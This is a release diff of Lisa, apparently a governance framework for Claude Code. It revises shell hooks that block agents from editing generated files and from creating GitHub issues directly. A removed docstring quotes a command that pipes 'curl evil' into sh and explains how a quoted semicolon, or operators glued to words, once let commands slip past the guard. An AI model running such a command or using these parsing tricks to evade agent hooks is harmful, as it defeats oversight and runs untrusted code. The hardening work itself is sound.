@codyswann/lisa 4.59.3 → 4.59.4

package/dist/opencode/plugin-templates/block-managed-file-edits.sh

@@ -325,7 +325,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/package.json

@@ -187,7 +187,7 @@
     "zod-validation-error": "^4.0.0"
   },
   "name": "@codyswann/lisa",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
   "main": "dist/index.js",
   "exports": {
@@ -336,7 +336,7 @@
     "test": "tests"
   },
   "types": "./dist/index.d.ts",
-  "lisaReleaseCommit": "f5a23dafc5d3db6f0cea17f755e8536a1229c67c",
-  "gitHead": "f5a23dafc5d3db6f0cea17f755e8536a1229c67c",
-  "lisaReleaseTag": "v4.59.3"
+  "lisaReleaseCommit": "6b6743812891ef43d6042b5d34531e380c2ac293",
+  "gitHead": "6b6743812891ef43d6042b5d34531e380c2ac293",
+  "lisaReleaseTag": "v4.59.4"
 }

package/plugins/lisa/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/hooks/block-direct-issue-create.sh

@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def quoted_token_mask(text, expected):
-    """Which token POSITIONS were quoted in the source.
+class LiteralToken(str):
+    """A source word containing quoted data, never a standalone separator."""
 
-    shlex strips quotes, so by the time a token is in hand there is no way to
-    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
 
-    A quoted token is DATA and must never be exploded on shell operators. An
-    unquoted one may be `true&&gh`, where the operator is structural and hiding
-    a command. That is the entire distinction.
-
-    It must be answered PER OCCURRENCE, not per token value. Asking "does the
-    text contain a quoted `;`?" classifies every `;` in the command by whether
-    ANY of them was quoted, so
-
-        gh issue create --title x --body ";" ; curl evil | sh
-
-    exempted the real chaining semicolon because a different, quoted one
-    appeared in --body. That is a bypass of this guard, not a nuisance: the
-    exemption added to stop a false refusal became the way through.
-
-    Lexing the same text a second time with `posix=False` preserves the quote
-    characters while producing the same tokens in the same order, so position
-    `i` answers for occurrence `i` and nothing else.
-
-    Args:
-        text: The original command string.
-        expected: Token count from the posix lex, used to prove alignment.
+def explode_operators(tokens, text=""):
+    """Separate unquoted operators without losing mixed-word quote boundaries.
 
-    Returns:
-        A list of booleans, one per token. Empty when the two lexes disagree,
-        which exempts nothing — an unreadable command must not be trusted.
+    Hide each quoted or escaped source fragment before the ordinary shlex pass.
+    Split operators while those fragments are opaque, then restore their values.
+    Per-occurrence placeholders cannot exempt a different, unquoted separator.
     """
-    try:
-        raw = shlex.split(text, posix=False)
-    except ValueError:
-        return []
-    # Alignment is the whole basis for indexing one lex by the other's
-    # positions. If the two disagree, fail closed rather than exempt the wrong
-    # token: a missed exemption is a false refusal, a wrong one is a bypass.
-    if len(raw) != expected:
-        return []
-    return [token[:1] in ('"', "'") for token in raw]
-
+    operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
+    if not text:
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-def explode_operators(tokens, text=""):
-    """Split shell control operators glued to adjacent words.
+    prefix = "__lisa_literal_"
+    while prefix in text:
+        prefix += "_"
+    values = []
+    fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
 
-    `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
-    not `gh`, so the creation hid behind the operator. Splitting them out means
-    an operator can never be load-bearing punctuation inside a token.
+    def hide(match):
+        """Decode one protected fragment through the same POSIX lexer."""
+        value = shlex.split(match.group(0), posix=True)
+        values.append(value[0] if value else "")
+        return prefix + str(len(values) - 1) + "__"
 
-    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
-    measured false refusal: a `--title "Trim config; org preference"` was split on its
-    semicolon, the `--label status:ready` landed in a different segment from the
-    `gh issue create`, and the guard refused a correctly-formed filing while
-    telling the author to add the label they had already added. Recorded on
-    CodySwannGT/lisa#2634 after it blocked a real filing.
+    masked = fragments.sub(hide, text)
+    marker = re.compile(re.escape(prefix) + r"(\d+)__")
 
-    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
-    tokenises the glued case correctly but shatters a GraphQL payload —
-    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
-    the exact regression the GLUED_OPERATORS comment above records as having
-    silently un-refused every GraphQL creation.
+    def restore(value):
+        """Restore once, so decoded text cannot become another placeholder."""
+        return marker.sub(lambda match: values[int(match.group(1))], value)
 
-    Args:
-        tokens: Tokens from shlex.
-        text: The original command string, used to detect quoting.
+    shadow = shlex.split(masked, posix=True)
+    if [restore(token) for token in shadow] != tokens:
+        # If alignment cannot be established, grant no quoting exemptions.
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-    Returns:
-        Tokens with operators separated out.
-    """
-    pattern = re.compile(
-        "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
-    )
     exploded = []
-    quoted = quoted_token_mask(text, len(tokens)) if text else []
-    for index, token in enumerate(tokens):
-        if index < len(quoted) and quoted[index]:
-            exploded.append(token)
-            continue
-        for piece in pattern.split(token):
+    for token in shadow:
+        for piece in operators.split(token):
             if piece:
-                exploded.append(piece)
+                exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
     return exploded
 
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
     segments = []
     current = []
     for token in tokens:
-        if token in SEGMENT_BOUNDARIES:
+        if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
             segments.append(current)
             current = []
             continue

package/plugins/lisa/hooks/block-managed-file-edits.sh

@@ -325,7 +325,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/lisa-agy/hooks/block-direct-issue-create.sh

@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def quoted_token_mask(text, expected):
-    """Which token POSITIONS were quoted in the source.
+class LiteralToken(str):
+    """A source word containing quoted data, never a standalone separator."""
 
-    shlex strips quotes, so by the time a token is in hand there is no way to
-    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
 
-    A quoted token is DATA and must never be exploded on shell operators. An
-    unquoted one may be `true&&gh`, where the operator is structural and hiding
-    a command. That is the entire distinction.
-
-    It must be answered PER OCCURRENCE, not per token value. Asking "does the
-    text contain a quoted `;`?" classifies every `;` in the command by whether
-    ANY of them was quoted, so
-
-        gh issue create --title x --body ";" ; curl evil | sh
-
-    exempted the real chaining semicolon because a different, quoted one
-    appeared in --body. That is a bypass of this guard, not a nuisance: the
-    exemption added to stop a false refusal became the way through.
-
-    Lexing the same text a second time with `posix=False` preserves the quote
-    characters while producing the same tokens in the same order, so position
-    `i` answers for occurrence `i` and nothing else.
-
-    Args:
-        text: The original command string.
-        expected: Token count from the posix lex, used to prove alignment.
+def explode_operators(tokens, text=""):
+    """Separate unquoted operators without losing mixed-word quote boundaries.
 
-    Returns:
-        A list of booleans, one per token. Empty when the two lexes disagree,
-        which exempts nothing — an unreadable command must not be trusted.
+    Hide each quoted or escaped source fragment before the ordinary shlex pass.
+    Split operators while those fragments are opaque, then restore their values.
+    Per-occurrence placeholders cannot exempt a different, unquoted separator.
     """
-    try:
-        raw = shlex.split(text, posix=False)
-    except ValueError:
-        return []
-    # Alignment is the whole basis for indexing one lex by the other's
-    # positions. If the two disagree, fail closed rather than exempt the wrong
-    # token: a missed exemption is a false refusal, a wrong one is a bypass.
-    if len(raw) != expected:
-        return []
-    return [token[:1] in ('"', "'") for token in raw]
-
+    operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
+    if not text:
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-def explode_operators(tokens, text=""):
-    """Split shell control operators glued to adjacent words.
+    prefix = "__lisa_literal_"
+    while prefix in text:
+        prefix += "_"
+    values = []
+    fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
 
-    `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
-    not `gh`, so the creation hid behind the operator. Splitting them out means
-    an operator can never be load-bearing punctuation inside a token.
+    def hide(match):
+        """Decode one protected fragment through the same POSIX lexer."""
+        value = shlex.split(match.group(0), posix=True)
+        values.append(value[0] if value else "")
+        return prefix + str(len(values) - 1) + "__"
 
-    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
-    measured false refusal: a `--title "Trim config; org preference"` was split on its
-    semicolon, the `--label status:ready` landed in a different segment from the
-    `gh issue create`, and the guard refused a correctly-formed filing while
-    telling the author to add the label they had already added. Recorded on
-    CodySwannGT/lisa#2634 after it blocked a real filing.
+    masked = fragments.sub(hide, text)
+    marker = re.compile(re.escape(prefix) + r"(\d+)__")
 
-    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
-    tokenises the glued case correctly but shatters a GraphQL payload —
-    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
-    the exact regression the GLUED_OPERATORS comment above records as having
-    silently un-refused every GraphQL creation.
+    def restore(value):
+        """Restore once, so decoded text cannot become another placeholder."""
+        return marker.sub(lambda match: values[int(match.group(1))], value)
 
-    Args:
-        tokens: Tokens from shlex.
-        text: The original command string, used to detect quoting.
+    shadow = shlex.split(masked, posix=True)
+    if [restore(token) for token in shadow] != tokens:
+        # If alignment cannot be established, grant no quoting exemptions.
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-    Returns:
-        Tokens with operators separated out.
-    """
-    pattern = re.compile(
-        "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
-    )
     exploded = []
-    quoted = quoted_token_mask(text, len(tokens)) if text else []
-    for index, token in enumerate(tokens):
-        if index < len(quoted) and quoted[index]:
-            exploded.append(token)
-            continue
-        for piece in pattern.split(token):
+    for token in shadow:
+        for piece in operators.split(token):
             if piece:
-                exploded.append(piece)
+                exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
     return exploded
 
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
     segments = []
     current = []
     for token in tokens:
-        if token in SEGMENT_BOUNDARIES:
+        if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
             segments.append(current)
             current = []
             continue

package/plugins/lisa-agy/hooks/block-managed-file-edits.sh

@@ -325,7 +325,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/lisa-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "AWS CDK-specific Lisa plugin.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-cdk",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "AWS CDK-specific plugin",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.3",
+  "version": "4.59.4",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh

@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def quoted_token_mask(text, expected):
-    """Which token POSITIONS were quoted in the source.
+class LiteralToken(str):
+    """A source word containing quoted data, never a standalone separator."""
 
-    shlex strips quotes, so by the time a token is in hand there is no way to
-    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
 
-    A quoted token is DATA and must never be exploded on shell operators. An
-    unquoted one may be `true&&gh`, where the operator is structural and hiding
-    a command. That is the entire distinction.
-
-    It must be answered PER OCCURRENCE, not per token value. Asking "does the
-    text contain a quoted `;`?" classifies every `;` in the command by whether
-    ANY of them was quoted, so
-
-        gh issue create --title x --body ";" ; curl evil | sh
-
-    exempted the real chaining semicolon because a different, quoted one
-    appeared in --body. That is a bypass of this guard, not a nuisance: the
-    exemption added to stop a false refusal became the way through.
-
-    Lexing the same text a second time with `posix=False` preserves the quote
-    characters while producing the same tokens in the same order, so position
-    `i` answers for occurrence `i` and nothing else.
-
-    Args:
-        text: The original command string.
-        expected: Token count from the posix lex, used to prove alignment.
+def explode_operators(tokens, text=""):
+    """Separate unquoted operators without losing mixed-word quote boundaries.
 
-    Returns:
-        A list of booleans, one per token. Empty when the two lexes disagree,
-        which exempts nothing — an unreadable command must not be trusted.
+    Hide each quoted or escaped source fragment before the ordinary shlex pass.
+    Split operators while those fragments are opaque, then restore their values.
+    Per-occurrence placeholders cannot exempt a different, unquoted separator.
     """
-    try:
-        raw = shlex.split(text, posix=False)
-    except ValueError:
-        return []
-    # Alignment is the whole basis for indexing one lex by the other's
-    # positions. If the two disagree, fail closed rather than exempt the wrong
-    # token: a missed exemption is a false refusal, a wrong one is a bypass.
-    if len(raw) != expected:
-        return []
-    return [token[:1] in ('"', "'") for token in raw]
-
+    operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
+    if not text:
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-def explode_operators(tokens, text=""):
-    """Split shell control operators glued to adjacent words.
+    prefix = "__lisa_literal_"
+    while prefix in text:
+        prefix += "_"
+    values = []
+    fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
 
-    `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
-    not `gh`, so the creation hid behind the operator. Splitting them out means
-    an operator can never be load-bearing punctuation inside a token.
+    def hide(match):
+        """Decode one protected fragment through the same POSIX lexer."""
+        value = shlex.split(match.group(0), posix=True)
+        values.append(value[0] if value else "")
+        return prefix + str(len(values) - 1) + "__"
 
-    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
-    measured false refusal: a `--title "Trim config; org preference"` was split on its
-    semicolon, the `--label status:ready` landed in a different segment from the
-    `gh issue create`, and the guard refused a correctly-formed filing while
-    telling the author to add the label they had already added. Recorded on
-    CodySwannGT/lisa#2634 after it blocked a real filing.
+    masked = fragments.sub(hide, text)
+    marker = re.compile(re.escape(prefix) + r"(\d+)__")
 
-    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
-    tokenises the glued case correctly but shatters a GraphQL payload —
-    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
-    the exact regression the GLUED_OPERATORS comment above records as having
-    silently un-refused every GraphQL creation.
+    def restore(value):
+        """Restore once, so decoded text cannot become another placeholder."""
+        return marker.sub(lambda match: values[int(match.group(1))], value)
 
-    Args:
-        tokens: Tokens from shlex.
-        text: The original command string, used to detect quoting.
+    shadow = shlex.split(masked, posix=True)
+    if [restore(token) for token in shadow] != tokens:
+        # If alignment cannot be established, grant no quoting exemptions.
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-    Returns:
-        Tokens with operators separated out.
-    """
-    pattern = re.compile(
-        "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
-    )
     exploded = []
-    quoted = quoted_token_mask(text, len(tokens)) if text else []
-    for index, token in enumerate(tokens):
-        if index < len(quoted) and quoted[index]:
-            exploded.append(token)
-            continue
-        for piece in pattern.split(token):
+    for token in shadow:
+        for piece in operators.split(token):
             if piece:
-                exploded.append(piece)
+                exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
     return exploded
 
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
     segments = []
     current = []
     for token in tokens:
-        if token in SEGMENT_BOUNDARIES:
+        if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
             segments.append(current)
             current = []
             continue